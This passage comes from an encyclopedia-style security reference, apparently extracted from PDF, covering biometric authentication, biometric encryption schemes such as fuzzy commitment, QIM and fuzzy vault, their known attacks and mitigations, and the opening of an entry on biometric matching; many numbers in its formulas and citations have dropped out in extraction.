the person knowing the password and carrying the item biometric authentication systems. Another problem with
of identification is indeed that person. All applications biometric authentication is the natural change in a per-
that need a secure access can use biometrics for ensuring sons biomarker retinal patterns are known to change
that the claimed identity is indeed correct for exam- with time, a persons face changes with time, and so does
ple, computers come with fingerprint pads that permits a persons voice: therefore, biometric authentication sys-
access only to persons whose fingerprints are known to the tems may need to update biomarker database regularly,
Biometric Authentication B
Phase 1: Biomarker sample collection
Biomarker Biomarker
collecting processing
Submits device Biomarker system Biomarker B
biomarker processed stored
with identity with Biomarker
Person
identity repository
Retrieves
biomarker
for identity Searches
repository
for identity
Phase 2: Verification for biomarker
GO
Submits identity
tch
Biomarker Ma
Biomarker comparing
Submits collecting Biomarker system No
mat NOGO
biomarker device processed ch
Person
Phase 2: Identification
Identity
ch
retrieved
at
M
Biomarker Biomarker
collecting identifying
Retrieved device Biomarker system No
biomarker processed m
at
ch
Identity
unknown
Biometric Authentication. Fig. A typical biometric authentication system
which could be a complex management problem when digital privacy laws to include biomarkers will help alle-
the number of biomarkers is large. DNA fingerprinting viate this concern. However, it is accepted that the science
[] is expected to emerge as another biometric authenti- of biometric authentication needs further development []
cation system in the future where a persons DNA is the before more reliable technologies for biometric authentica-
biomarker in this technique for verification or identification are realized.
tion purposes, a sample DNA is compared with the stored
values and a match is obtained by chemically matching
the DNA. Another issue related to biometric authentica- Recommended Reading
. Bolle R, Connell J, Pankanti S, Ratha N, Senior A () Guide
tion is privacy of personal data obtained by agencies it
to biometrics. Springer-Verlag, New York
has been suggested that people will be more forthcom- . Wayman J, Jain A, Maltoni D, Maio D (eds) () Biomet-
ing in giving their biomarkers if they can be assured that ric systems: technology, design, and performance evaluation.
the data collected will not be misused; expanding existing Springer-Verlag, London
B Biometric Cryptosystem
. U.S. Passenger Accelerated Service System (USPASS) () Unlike conventional cryptography, this encryption/
http: // www . globalsecurity.org / security /systems / inspass.htm. decryption process is fuzzy because of the natural vari-
Accessed Oct
ability of the biometrics. BE conceptually differs from other
. Whitepaper () Intelligent authentication at the edge.
L Identity Solutions website http://www.lid.com/resources/
systems that encrypt biometric images or templates using
gatedformwp- Intelligentauthentication. Accessed Oct conventional encryption, or store a cryptographic key and
. Whitepaper () Biometrics for airport access con- release it upon successful biometric authentication. Cur-
trol. L Identity Solutions website http://www.lid.com/elq rently, any viable BE system requires that biometric depen-
Now/elqRedir.htm?ref=http://www.lid.com/files/- WP_L- _
dent helper data be stored.
Using_Biometric_Tools__FINAL_.pdf. Accessed Oct
. Jain AK, Pankanti S, Prabhakar S, Hong L, Ross A, Wayman JL
() Biometrics: a grand challenge. In: Proceedings of the th
Background
International Conference on Pattern Recognition, Cambridge, Biometrics is often considered an ultimate solution for
England. http://biometrics.cse.msu.edu/Publications/GeneralBio the identity management problem since it answers the
metrics/Jainetal_BiometricsGrandChallenge_ICPR.pdf. Acces- Who are you question. By providing a link to physical
sed Oct
individuals, biometrics is viewed as helping to strengthen
. Betsch DF () DNA fingerprinting in human health and
society. http://www.accessexcellence.org/RC/AB/BA/DNA_
authentication and security processes, thus mitigating
Fingerprinting_Basics.php. Accessed Oct unauthorized access to, and misuse of, personal informa-
. Pato JN, Millett LI (eds) () Biometric recognition: challenges tion and other valuable resources.
and opportunities. National Academic Press, Washington, DC However, in digital networks, just like other types
of sensitive personal information, biometric data can be
intercepted, stolen, copied, altered, replayed, and other-
wise used to commit identity theft. As the use of biometrics
Biometric Cryptosystem becomes widespread, the risks of data theft and misuse
will grow. Since biometric data are unique, non-secret,
Biometric Encryption and non-revocable in nature, any theft and misuse can
exacerbate the identity theft problem.
Some common security vulnerabilities of biometric
systems include [, ]:
Biometric Encryption Spoofing
Replay attacks
Ann Cavoukian, Alex Stoianov Substitution attacks
Information and Privacy Commissioners Office of Tampering
Ontario, Toronto, ON, Canada Masquerade attacks
Trojan horse attacks
Overriding Yes/No response
Synonyms
Biometric cryptosystem; Biometric keys; Biometric key In addition to the security threats that undermine the reli-
generation ability of biometric systems, there are a number of specific
privacy concerns with these technologies []:
Related Concepts Function creep
Biometric Privacy
Expanded surveillance, tracking, profiling, and potential
discrimination
Denition Data misuse, identity theft, and fraud
Biometric encryption (BE) is a group of emerging Negative personal impacts of false matches, non-
technologies that securely bind a digital key to a biomet- matches, system errors, and failures that often fall dis-
ric or generate a digital key from the biometric, so that no proportionately on individuals
biometric image or template is stored. It must be computa- Insufficient oversight, accountability, and openness in
tionally difficult to retrieve either the key or the biometric biometric data systems
from the stored BE template, which is also called helper Potential for collection and use of biometric data without
data. The key will be recreated only if the genuine biomet- knowledge, consent, or personal control
ric sample is presented on verification. The output of the
BE authentication is either a key (correct or incorrect) or a These types of risks threaten user confidence, which leads
failure message. to a lack of acceptance and trust in biometric systems.
Biometric Encryption B
Biometric data is sensitive personal information that CB [] perform the feature transformation and store
should be protected from an unauthorized access or attacks the transformed template. On verification, the transformed
and from the potential abuse by the data custodian or third templates are compared. There is a large number of trans-
parties. The privacy by design approach [] emphasizes forms available, so that the templates are cancelable. The
the need for the technologies that provide winwin sce- difficulty with this approach is that the transform is in most
nario, i.e., enhance both privacy and security of the system cases fully or partially invertible, meaning that it should be
B
and do not significantly impede the system performance. kept secret. The feature transformation usually degrades
The notion of untraceable biometrics (UB) is one of the the system accuracy. As a rule of thumb, the more irre-
most prominent examples of such technologies. versible the transform, the more is the accuracy sacrificed.
The system remains vulnerable to a substitution attack and
to overriding the Yes/No response. Also, if the attacker
Untraceable Biometrics knows the transform, a masquerade biometric sample can
One of the seemingly obvious solutions to the privacy and be created (i.e., it is not necessarily the exact copy of the
security problems in biometrics is the encryption of the original but, nevertheless, can defeat the system).
stored biometric templates. However, this does not fully BE, on the other hand, binds the key with the biomet-
protect the users privacy since the encryption keys are ric on a fundamental level and, therefore, can enhance both
usually possessed by the data custodian. Moreover, the privacy and security of a biometric system. In general, BE
templates must be decrypted before authentication, so that is less susceptible to high-level security attacks on a bio-
they will be eventually exposed. Also, it is not possible to metric system listed above. BE can work in non-trusted
use an approach common for the password-based systems or, at least, in less trusted environment, and is less depen-
when only the hashed versions of the passwords are stored dent on hardware, procedures, and policies. The random
and compared: because of the natural variability of bio- keys are usually longer than conventional passwords and
metric samples, the hash will be completely different for do not require user memorization. The BE helper data are
any fresh biometric sample. This is a fundamental problem renewable and revocable, as in CB.
in bridging biometrics and cryptography, since the latter After the digital key is recreated on BE verification,
usually does not tolerate a single bit error. it can be used as the basis for any physical or logical
There are also so-called key release systems that store application. The most obvious use of BE is in a conven-
a cryptographic key and subsequently release it upon suc- tional cryptosystem, where the key serves as a password
cessful biometric verification (i.e., after receiving the Yes and may generate, e.g., a pair of public and private keys. It
response). Those systems are vulnerable, among other should be noted that BE itself is not a cryptographic algo-
things, to overriding the Yes/No response (as was demon- rithm. The role of BE is to replace or augment vulnerable
strated with the biometric flash drives) and are not covered password-based schemes with more secure and more con-
in this article. venient biometrically managed keys and, thus, to bridge
Untraceable biometrics (UB) is a term [] that defines biometrics and cryptography.
privacy-enhancing biometric technologies.
The features of UB are as follows: Theory
The concept of BE was first introduced in the mid-s
There is no storage of biometric image or conventional
by Tomko et al. []. For more information on BE and
biometric template.
related technologies, see the review papers in Refs. [, , ].
It is computationally difficult to recreate the original
There are two BE approaches: key binding, when a key
biometric image/template from the stored information.
is generated in random and then is bound to the biomet-
A large number of untraceable templates for the same
ric, and key generation, when a key is directly derived from
biometric can be created for different applications.
the biometric. Both approaches usually store biometric-
The untraceable templates from different applications
dependent helper data and are often interchangeable for
cannot be linked.
many BE schemes.
The untraceable templates can be renewed or cancelled.
In the key binding mode, as illustrated in Fig. , the
These features embody standard fair information princi- digital key is randomly generated on enrollment and is
ples, providing user control, data minimization, and data completely independent of the biometrics. The BE enroll-
security. ment algorithm binds the key to the biometric to create a
At present, UB include two major groups of emerging helper data that can be stored either in a database or locally
technologies: biometric encryption (BE) and cancelable (e.g., on a smart card). At the end of the enrollment, both
biometrics (CB). the key and the biometric are discarded.
B Biometric Encryption
Enrollment Verification
Capture Feature Capture

Feature
biometrics extractor biometrics
extractor
b b
Helper Helper
Generate key, k BE data data BE k
Storage
k binding retrieval Application
Biometric Encryption. Fig. High-level diagram of a Biometric Encryption process in a key binding mode
On verification, the user presents his/her fresh bio- Quantization using correction vector [], in particu-
metric sample, which, when applied to the legitimate BE lar, quantized index modulation (QIM) []
helper data, will let the BE verification algorithm recreate ECC syndrome []
the same key. The BE verification algorithm is designed to BioHashing with key binding []
account for acceptable variations in the input biometric. PinSketch []
On the other hand, an impostor whose biometric sample Graph-based low-density parity check (LDPC)
is different enough will not be able to recreate the key. coding []
Many BE schemes also store a hashed version of the key
Set Intersection (SFINXTM ) []
(not shown in Fig. ), so that a correct key is released from
BE system only if the hashed value obtained on verification (Mytec and Mytec schemes were originally called Bio-
is exactly the same. Also, a good practice would be not to metric EncryptionTM , which was a trademark of Toronto-
release the key but rather yet another hashed version of it based Mytec Technologies Inc., then Bioscrypt Inc., which
for any application. This hashed version can in turn serve is now a division of L Identity Solutions Inc. The trade-
as a cryptographic key. With this architecture, an attacker mark was abandoned in .)
would not be able to obtain the original key outside the At present, the most popular are the following schemes:
BE system. Likewise, the biometric image/template should Fuzzy Commitment, QIM, and Fuzzy Vault.
not be sent to a server; the BE verification should be done
locally in most scenarios.
In the key generation mode, the key is derived on Fuzzy Commitment
verification from a fresh biometric sample and the stored This scheme, which was proposed by Juels and Wattenberg
helper data. Note, however, that this key is not something [] in , still remains one of the most suitable for bio-
inherent or absolute for this particular biometric; it will metrics that have a template in the form of an ordered
change upon each re-enrollment. Therefore, the size of string. A k-bit key is mapped to a n-bit codeword, c, of an
the key space for the key generation mode is defined (n, k, d) ECC. The binary biometric template, b, and the
by the intra-class variations of the biometric, as opposed to codeword are XOR-ed, thus obfuscating each other. The
the key binding approach. There are also a few works that resulting n-bit string, c b, is stored into the helper data
try to achieve a template-free key generation (see, e.g., []). along with the hashed value of the codeword, H(c) (or,
Even if this is successful, the generated keys cannot be alternatively, H(k)). On verification, a new biometric n-bit
long enough, except, perhaps, the case of DNA as a future template, b , is XOR-ed with the stored string. The result,
biometrics. c b b , is decoded by the ECC to obtain a codeword c .
Finally, it is checked if H(c) = H(c ).
BE Technologies In the key generation mode [], the enrolled template,
The core BE technologies include: b, is recovered from the helper data on verification by sim-
ply XORing the obtained c and the helper data, c b. A key
Mytec [] and Mytec [] can be generated as a hash of b.
Error correcting code (ECC) check bits [] In a spin-off of the Fuzzy Commitment scheme [],
Biometrically hardened passwords [] a so-called ECC syndrome of (n k) size is stored in the
Fuzzy Commitment [] helper data. On verification, the enrolled template is recov-
Fuzzy Vault [] and its improved variants [] ered (i.e., the scheme works in the key generation mode).
The most notable applications of the Fuzzy Commit- On verification, a fresh noisy feature vector, b , is added
ment scheme are Hao et al. [] and Bringer et al. [] to the offset vector v and is decoded as or , depending
works on iris, and priv-ID system for face [] and finger- on the interval it falls into:
prints [].
As seen, an ECC is an important part of the Fuzzy c = Decode (b + v)
B
Commitment scheme and most other BE algorithms. ci = if nq bi + vi < (n + ) q and
ECCs are used in communications, for data storage, and
ci = if (n ) q bi + vi < nq
in other systems where errors can occur. BE is a new area
for the application of ECCs, and it is important that the
ECC designed for BE is optimal in terms of bit rates, error Then the ECC decoder corrects possible errors in c .
correction capabilities, speed, and security. Note that the The QIM method has an advantage over other BE
latter component is usually not taken into consideration schemes since it has a tunable parameter, the quantization
in most existing ECCs. Some ECCs may work in a soft step q. By varying q one can generate a BE ROC curve as
decoding mode, i.e., the decoder always outputs the nearest opposed to a single (or a few) operating point in other BE
codeword, even if it is beyond the ECC bound. This not schemes, thus obtaining a trade-off between accuracy and
only allows achieving better error-correcting capabilities, security.
but also has some implications for the system security. However, the QIM method has security vulnerabilities.
For example, if the quantization step is too large, such as
q >> i (where i is the variance of bi ), then a positive
Quantized Index Modulation (QIM)
vi would indicate that ci = and a negative vi would indi-
QIM is another scheme that is applicable to biometrics
cate that ci =. Also, the schemes with a correction vector,
with ordered feature vectors. Unlike the Fuzzy Com-
including QIM, could be vulnerable to score-based attacks
mitment scheme, the feature vectors, b, are continuous.
(hill climbing or nearest impostors).
This method, originally called shielding functions, was
proposed by Linnartz and Tuyls [] and then generalized
by Buhan et al. []. The simplest -bit QIM scheme Fuzzy Vault
(i.e., consisting of only two equi-partition quantizers) is Unlike most other BE schemes, Fuzzy Vault is fully suit-
described in Fig. . able for unordered data with arbitrary dimensionality, such
Let c be a binary key, or rather a binary ECC code- as fingerprint minutiae. The concept of Fuzzy Vault as a
word, to be bound to the biometric. For each continuously cryptographic primitive was proposed by Juels and Sudan
distributed biometric feature, bi , an offset vi to the center in []. In this scheme, a secret message (i.e., a key)
of the nearest evenodd (for ci equal to ) or oddeven is represented as coefficients of a polynomial in a Galois
interval (for ci equal to ) is estimated: field, e.g., GF( ). In one of the most advanced versions
of the biometric fuzzy vault [], the -bit x-coordinate
vi = (n + /)q bi if ci = and vi = (n /)q bi if ci = value of the polynomial comprises the minutia locations
Here q is a quantization step size, and n is chosen such that and the angle, and the corresponding y-coordinates are
q < vi q. computed as the values of the polynomial on each x. Both
In other words, a set of two quantizers Q, for bit x and y numbers are stored alongside with chaff points
and bit , respectively, is defined. The continuous offsets, that are added to hide real minutiae (Fig. ). On veri-
vi , form the correction vector and are stored as the helper fication, a number of minutiae may coincide with some
data. In vector notations, v = Qc (b) b. Also, the hash of of the genuine stored points. If this number is sufficient,
c can be stored. the full polynomial can be reconstructed using an ECC
(e.g., ReedSolomon ECC) or Lagrange interpolation. In
this case, the correct key will be recovered. The scheme
0 1 0 1 0 1 works both in the key binding and the key generation
(secure sketch) mode. The version of Ref. [] also stores
3q 2q q 0 q 2q 3q
fingerprint alignment information.
x The more secure version of Fuzzy Vault [] stores high
bi = 1.8 ci = 1 degree polynomial instead of real minutiae or chaff points.
(q = 1) vi = 2.5 1.8 However, there are difficulties in practical implementation
= 0.7
of this version. A related scheme is called SFINXTM [].
Biometric Encryption. Fig. Quantization example for Unlike other BE schemes, the fuzzy vault actually stores
-bit QIM real minutiae, even though they are buried inside the chaff
points. This could become a source of potential vulner- While there are several definitions of entropy, the
abilities. The system security can be improved by apply- notion of min-entropy [] (see also []) is most relevant
ing a secret minutiae permutation controlled by a users for BE purposes:
password []. This transform-in-the-middle approach
is applicable to most BE schemes. The other promising H (A) = log (maxa Pr [A = a])
direction is a multimodal Fuzzy Vault that deals with Here A is a random variable (i.e., a set of features in case of
fingerprints and iris []. biometrics) that can take any value, a, with a probability
Pr[A = a]. By taking the maximum probability, it is
assumed that the attackers best strategy would be to guess
A Notion of Fuzzy Extractors and Secure the most likely value (e.g., of a key). This definition shows
Sketches how many nearly uniform random bits can be extracted
Dodis et al. [] introduced two primitives, a fuzzy extrac-
from the distribution.
tor and a secure sketch. They do not refer to a particular
In case of two variables, an average min-entropy,
BE scheme but are rather a formal definition for the bio- (AB), of A given B is considered:
H
metric key generation approach. The secure sketch is a
helper data stored on enrollment. On verification, the exact (AB)
H = log (EbB [maxa Pr [A = aB = b]])
reconstruction of the original biometric template is possi-
ble when a fresh (i.e., noisy) biometric sample is applied = log (EbB [H (AB=b) ])
to the secure sketch. The fuzzy extractor is a cryptographic
It can be interpreted for the purposes of BE in the
primitive that generates a key from the secure sketch, for
following way: B is a helper data that is available to
example, by hashing the reconstructed template.
the attacker. By knowing B, the attacker can predict A
with the maximum probability (predictability) maxa Pr[A =
aB = b]. On average, the attackers chance of success in
Security of BE
predicting A is then EbB [maxa Pr[A = aB = b]], where
Biometric Entropy and the Key Size EbB is the average over B. It is logical to take average
In the context of BE, the entropy of a biometric is the upper rather than maximum over B, since B is not under the
limit for the size of the key that can be securely bound to attackers control. The average min-entropy is essentially
the biometric or extracted form the biometric. the minimum strength of the key that can be consistently
Biometric Encryption. Fig. Fuzzy Vault example. Genuine minutiae points lying on a polynomial y = p(x), Cha points
extracted from A when B is known. The difference between Blended substitution attack []
H (A) and H (AB) Linkage attack []
(A B )
L = H (A) H FAR attack is conceptually the simplest. The attacker
needs to collect or generate a biometric database of a suf-
is called the entropy loss, or the information leak, of a BE ficient size to obtain offline a false acceptance against the B
scheme. helper data. The biometric sample (either an image or a
For the Fuzzy Commitment scheme, the theoretical template) that generated the false acceptance will serve as
maximum key size, k, in the binary symmetric channel a masquerade image/template. Since all biometric systems,
model with the bit error probability p tc , assuming an including BE, have a nonzero FAR, the size of the offline
ECC at Shannons bound is equal to [] database (that is required to crack the helper data) will
k = n( + tc log tc + ( tc )log ( tc )) always be finite. The FAR attack (and most other attacks)
can be mitigated by applying a transform-in-the-middle
Here n is the ECC codeword length and tc is taken at the (preferably controlled by a users password), by using slow-
operating point in order to reach the target FRR. Note that down functions, in a Match-on-Card architecture, or by
this bound assumes that n is large enough. other security measures common in biometrics.
For the inverse problem, i.e., estimating the worst FRR
and the best FAR given the key size and the bit error rates,
Cryptographically Secure BE
the following results were obtained []:
In the clientstorageservice provider (SP) architecture,
+ a BE system can be made cryptographically secure using
G I
FRR p n, k (t)dt, FAR p n, k (t)dt
homomorphic encryption [] or BlumGoldwasser cryp-
tosystem [].
Here pG n,k and pI n,k are the probability densities for all
Such BE system should satisfy the following require-
genuine and impostors comparisons, fn,k (b b ), respec-
ments:
tively; fn,k (y) = wn /(n we ) H ( k/(n we )),
H(x) = x log x ( x) log ( x); wn is the number Biometric data are stored and transmitted in encrypted
of ones (i.e., errors) occurring in y and we is the number of form only.
erasures. On authentication, the encrypted biometric data are
not decrypted.
Attacks on BE The encrypted templates from different applications
Some BE systems may be vulnerable to low-level attacks, cannot be linked.
when an attacker is familiar with the algorithm and is The service provider never obtains unencrypted bio-
able to access the stored helper data (but not a genuine metric data.
biometric sample). The attacker tries to obtain the key (or The client never obtains secret keys from the service
at least reduce the search space), and/or to obtain a bio- provider.
metric or create a masquerade version of it. The attacker The encrypted template can be re-encrypted or
may also try to link BE templates generated from the same updated without decryption or re-enrollment.
biometrics but stored in different databases. The system is resilient to a template substitution attack.
In recent works [, ], the following most impor- The encrypted template is resilient to all low-level
tant attacks were identified: attacks on BE (such as FAR attack).
The system must be computationally feasible and pre-
Inverting the hash
serve the acceptable accuracy.
False acceptance (FAR) attack
Hill climbing attack [] For example, the GoldwasserMicali encryption scheme
Nearest impostors attack [] possesses a homomorphic property Enc(m) Enc(m ) =
Running ECC in a soft decoding and/or erasure Enc(m m ), (m, m are binary messages). It can be used
mode [] to make the Fuzzy Commitment scheme cryptographically
ECC histogram attack [] secure in the following way [].
Non-randomness attack against Fuzzy Vault [] On enrollment, the SP generates a GoldwasserMicali
Nonrandomness attack against Mytec and Fuzzy Com- (pk, sk) key pair and sends the public key, pk, to the client.
mitment schemes [] The client captures the users biometric and creates the
Reusability attack [, ] binary biometric template, b. A random ECC codeword, c,
is generated and XOR-ed with the template to obtain BE Local or remote authentication of users to access files
helper data, c b. The result is encrypted with pk to obtain held by government and other various organizations
Enc(c b) and is put into the storage. Also, a hashed
The following BE products are already commercially
codeword, H(c), is stored separately by the SP.
available:
On verification, a fresh binary template, b , is obtained
by the client and then encrypted using pk. The enrolled priv-ID (formerly a division of Philips, the Netherlands)
encrypted helper data, Enc(cb) is retrieved from the stor- for fingerprints
age. Using the homomorphic property of the Goldwasser Genkey (Norway) BioCryptic for fingerprints (not
Micali encryption, the product is computed: Enc(c b) much information about the technology is available)
Enc(b ) = Enc(c b b ). The result is sent to the SP, where Coretex Systems (FL, USA) SFINXTM (secure fin-
it is decrypted with the private key sk to obtain c b b . gerprint minutiae extraction) technology (not much
Then the ECC decoder obtains a codeword c . Finally, the information about the technology is available)
service provider checks if H(c) = H(c ).
Both priv-ID and Genkey systems can fit the helper data
The service provider never obtains the biometric data,
into a D bar code.
which stay encrypted during the whole process. The BE
Some BE pilots:
helper data, c b, is stored in the encrypted form. Since
the codeword, c, is not stored anywhere, the BE helper EU TURBINE (TrUsted Revocable Biometric IdeNti-
data cannot be substituted or tampered with. Overall, this tiEs) project []. This -year project has been given
system would solve most BE security problems. Unfortu- significant funding and aims at piloting a fingerprint-
nately, the proposed solutions based on the homomorphic based BE technology at an airport in Greece.
encryption are still impractical due to the large size of the The Genkey technology has been deployed for rickshaw
encrypted template and the computational costs. Another projects in several cities in India.
scheme that combines Bloom filters and locality-sensitive Ontario Lottery and Gaming Corporation (Canada)
hashing was proposed in []. has been testing a BE technology for the self-
More practical solution that is applicable to the Fuzzy exclusion program. The technology was developed by
Commitment and QIM schemes was proposed in []. It the University of Toronto team [] and is based on the
is based on BlumGoldwasser public key cryptosystem. QIM scheme that is applied to the face recognition in
a watchlist scenario.
Applications
BE technologies enhance both privacy and security of a Open Problems
biometric system, thus embodying the privacy by design Technologically, BE is much more challenging than
principles. They put biometric data under the exclu- conventional biometrics, since most BE schemes work in a
sive control of the individual, in a way that benefits the blind mode (the enrolled image or template are not seen
individual and minimizes the privacy risks. They provide a on verification). The following issues need to be addressed:
foundation for building greater public confidence, accep-
Biometric modalities that satisfy the requirements of
tance, and use, and enable greater compliance with privacy
high entropy, low variability, possibility of alignment,
and data protection laws.
and public acceptance should be chosen. At present,
Possible applications and uses of BE include:
the most promising biometric for BE is iris, followed
Biometric ticketing for events by fingerprints, finger veins, and face.
Biometric boarding cards for travel The image acquisition process (the requirements are
Drug prescriptions tougher for BE than for conventional biometrics) must
Three-way check of travel documents be improved.
Identification, credit, and loyalty card systems BE must be made resilient against attacks and, if possi-
Anonymous databases, i.e., anonymous (untraceable) ble, made cryptographically secure.
labeling of sensitive records The overall accuracy and security of BE algorithms
Consumer biometric payment systems must be improved. Advances in the algorithm develop-
Remote authentication via challengeresponse scheme ment in conventional biometrics and in ECCs should
Access control (physical and logical) be applied to BE.
Personal encryption products (i.e., encrypting files, Multimodal approaches should be exploited in a more
drives, e-mails, etc.) systematic way.
A possibility of using BE for a large scale one-to-many . Dodis Y, Reyzin L, Smith A () Fuzzy Extractors: how to
system should be exploited. generate strong keys from biometrics and other noisy data. In
Eurocrypt Lecture Notes of Computer Science, vol ,
BE applications should be developed.
pp , Springer, Heidelberg
In summary, BE is a fruitful area for research and is becom- . Linnartz J-P, Tuyls P () New shielding functions to enhance
ing sufficiently mature for consideration of applications. privacy and prevent misuse of biometric templates. In th
International Conference on Audio and Video Based Biometric
B
BE technologies exemplify the fundamental Privacy by Person Authentication, pp , Guildford, UK
Design principles. . Buhan IR, Doumen JM, Hartel PH, Veldhuis RNJ () Con-
While introducing biometrics into information systems structing practical Fuzzy Extractors using QIM. Technical
may result in considerable benefits, it can also introduce Report TR-CTIT- Centre for Telematics and Information
Technology, University of Twente, Enschede
many new security and privacy vulnerabilities, risks, and
. Teoh ABJ, Ngo DCL, Goh A () Personalised crypto-
concerns. Novel BE techniques can overcome many of graphic key generation based on FaceHashing. Comput Security
those risks and vulnerabilities, resulting in a winwin, :
positive-sum model that presents distinct advantages to . Draper SC, Khisti A, Martinian E, Vetro A, Yedidia JS ()
both security and privacy. Using distributed source coding to secure fingerprint biomet-
rics. In IEEE International Conference on Acoustics, Speech
and Signal Processing (ICASSP), Vol , pp , Honolulu,
Recommended Reading Hawaii, April
. Ratha NK, Connell JH, Bolle RM () Enhancing security and . Socek D, Culibrk D, Boovic V () Practical secure
privacy in biometrics-based authentication systems. IBM Syst J biometrics using set intersection as a similarity measure.
(): In International Conference on Security and Cryptography
. Jain AK, Nandakumar K, Nagar A () Biometric template (SECRYPT), pp , Barcelona, Spain
security. EURASIP J Adv Signal Process, : . Hao F, Anderson R, Daugman J () Combining crypto with
. Cavoukian A, Stoianov A () Biometric encryption: the new biometrics effectively. IEEE Trans. Comp. :
breed of untraceable biometrics. Chapter In Boulgouris NV, . Bringer J, Chabanne H, Cohen G, Kindarji B, Zmor G ()
Plataniotis KN, Micheli-Tzanakou E. (eds) Biometrics: funda- Theoretical and practical boundaries of binary secure sketches.
mentals, theory, and systems. Wiley - IEEE Press, pp , IEEE Trans Inf Forensics Security ():
London . van der Veen M, Kevenaar T, Schrijen G-J, Akkermans TH,
. Cavoukian A () Privacy by design. Information and privacy Zuo F () Face biometrics with renewable templates. In:
Commissioner of Ontario, Canada, Jan , . http://www. Proceedings of the SPIE, Vol
ipc.on.ca/images/Resources/privacybydesign.pdf . Tuyls P, Akkermans AHM, Kevenaar TAM, Schrijen GJ, Bazen
. Ratha NK, Chikkerur S, Connell JH, Bolle RM () Generat- AM, Veldhuis RNJ () Practical biometric authentication
ing cancelable fingerprint templates. IEEE Trans Pattern Anal with template protection. Lecture Notes on Computer Science,
Mach Intell (): Vol , pp , Springer, Heidelberg
. Tomko GJ, Soutar C, Schmidt GJ () Fingerprint controlled
. Nandakumar K, Jain AK, Pankanti SC, Fingerprint-based Fuzzy
public key cryptographic system. U.S. Patent , July ,
Vault: implementation and performance. IEEE Trans Inf Foren-
(Filing date: Sept. , )
sics Security ():
. Tuyls P, koric B, Kevenaar T (eds) () Security with
. Nandakumar K, Jain AK () Multibiometric template secu-
Noisy Data: private biometrics, secure key storage and anti-
rity using Fuzzy Vault. In: IEEE Second International Con-
counterfeiting. Springer, London
ference on Biometrics: Theory, Applications and Systems
. Sheng W, Howells G, Fairhurst M, Deravi F () Template-free
(BTAS), pp. , Washington DC, September
biometric-key generation by means of fuzzy genetic clustering.
. Li Q, Sutcu Y, Memon N () Secure sketch for biometric
IEEE Trans Inf Forensics Security ():
templates. In: Advances in cryptology ASIACRYPT . Lec-
. Soutar C, Roberge D, Stoianov A, Gilroy R, Vijaya Kumar BVK
ture Notes on Computer Science, Vol , pp , Springer,
() Biometric EncryptionTM . In Nichols RK (ed) ICSA guide
Berlin
to cryptography, Ch. . McGraw-Hill, New York
. Davida GI, Frankel Y, Matt BJ () On enabling secure appli- . Kelkboom EJC, Breebaart J, Buhan I, Veldhuis RNJ () Ana-
cations through off-line biometric identification. In IEEE Sym- lytical template protection performance and maximum key size
posium on Security and Privacy, , pp , Oakland, CA given a Gaussian modeled biometric source. In: Proceedings of
. Monrose F, Reiter MK, Wetzel R () Password harden- SPIE, Vol. , pp D-D-
ing based on keystroke dynamics. In Sixth ACM Conference . Adler A () Vulnerabilities in biometric encryption sys-
on Computer and Communications Security (CCCS ), tems. Lecture Notes on Computer Science, Springer, Vol ,
pp , ACM Press, New York pp , New York
. Juels A, Wattenberg M () A fuzzy commitment scheme. . Boyen X () Reusable cryptographic fuzzy extractors. In:
In Sixth ACM Conference on Computer and Communications th ACM Conference CCS , pp , Washington, DC,
Security, pp , ACM Press, New York Oct
. Juels A, Sudan M () A fuzzy vault scheme. In IEEE . Chang EC, Shen R, Teo FW () Finding the original point
International Symposium on Information Theory, p , Pis- set hidden among chaff. In: ACM Symposium ASIACCS,
cataway, New Jersey pp , Taipei, Taiwan
B Biometric Fusion
. Scheirer WJ, Boult TE () Cracking Fuzzy Vaults and

Biometric Encryption. In: Biometric Consortium Conference, Biometric Matching
Baltimore, Sep
. Stoianov A, Kevenaar T, van der Veen M () Security Issues
B. V. K. Vijaya Kumar
of Biometric Encryption. In: IEEE TIC-STH Symposium on
Information Assurance, Biometric Security and Business Con- Department of Electrical and Computer Engineering,
tinuity, Toronto, Canada, September , pp Carnegie Mellon University, Pittsburgh, PA, USA
. Bringer J, Chabanne H () An authentication protocol with
encrypted biometric data. Lecture Notes on Computer Sciences,
Springer, V. , pp , Berlin Synonyms
. Stoianov A () Cryptographically secure biometrics. In: Pro- Biometric recognition
ceedings of SPIE, Vol. , pp C-C-
. Bringer J, Chabanne H, Kindarji B () Error-tolerant search- Related Concepts
able encryption. In: Communication and Information Systems
: Matching; :N Matching; Biometric Identification;
Security Symposium, IEEE International Conference on Com-
munications (ICC) , June , Dresden, Germany, pp
Biometric Verification
. Delvaux N, Bringer J, Grave J, Kratsev K, Lindeberg P, Midgren J,
Breebaart J, Akkermans T, van der Veen M, Veldhuis R, Kindt E, Denition
Simoens K, Busch C, Bours P, Gafurov D, Yang B, Stern J, Rust C, Biometric matching refers to the process of the degree of
Cucinelli B, Skepastianos D () Pseudo identities based on match (usually in the form of a match score) between two
fingerprint characteristics. In: IEEE th International Confer-
biometric signatures, one usually collected at the biometric
ence on Intelligent Information Hiding and Multimedia Signal
Processing (IIH-MSP ), August , Harbin, China, , enrollment stage and the other collected at the biometric
pp verification or identification stage.
. Martin K, Lu H, Bui FM, Plataniotis KN, Hatzinakos D ()
A biometric encryption system for the self-exclusion scenario Background
of face recognition. IEEE Systems Journal, ():
Biometric matching is a critical component in biomet-
ric recognition systems. Biometric recognition systems
encompass both biometric verification systems (that com-
pare a presented test biometric signature to an enrolled
Biometric Fusion signature corresponding to a claimed identity) and biomet-
ric identification systems (where a presented test biometric
Multibiometrics signature is compared to several stored signatures in order
to determine the identity of the test subject). Biometric
verification systems are also known as biometric authenti-
cation systems and as : matching systems and biometric
Biometric Identication in Video identification systems are known as :N matching systems.
Surveillance Early applications of biometric recognition systems
were aimed at forensics and law enforcement applica-
Biometrics in Video Surveillance
tions, whereas more recent focus has been on a variety of
applications including access control and subject identi-
fication for benefits distribution. Fingerprints have been
Biometric Information Ethics used for a long time and in large volume to identify peo-
ple and matching fingerprints usually involves determin-
Biometric Social Responsibility ing how well features (e.g., fingerprint minutiae) derived
from the enrolled fingerprint match those derived from the
test fingerprint. However, the matching concept is equally
Biometric Key Generation applicable to all biometric modalities, e.g., face images, iris
images, voice signatures, palm prints, and gait patterns.
Biometric matching can be viewed essentially as in
Biometric Encryption
Fig. . Matching of a test biometric signature to a stored
biometric signature (or some times, a template designed
to represent the essence of the stored biometric signature)
Biometric Keys usually leads to a numerical match score that may be nor-
malized to take on values between and . Match score val-
Biometric Encryption ues of represent a perfect match and match score values
Biometric Matching B
Stored match score falls below a preset threshold. In such scenar-

biometric
ios, recognition performance is characterized by metrics
signature
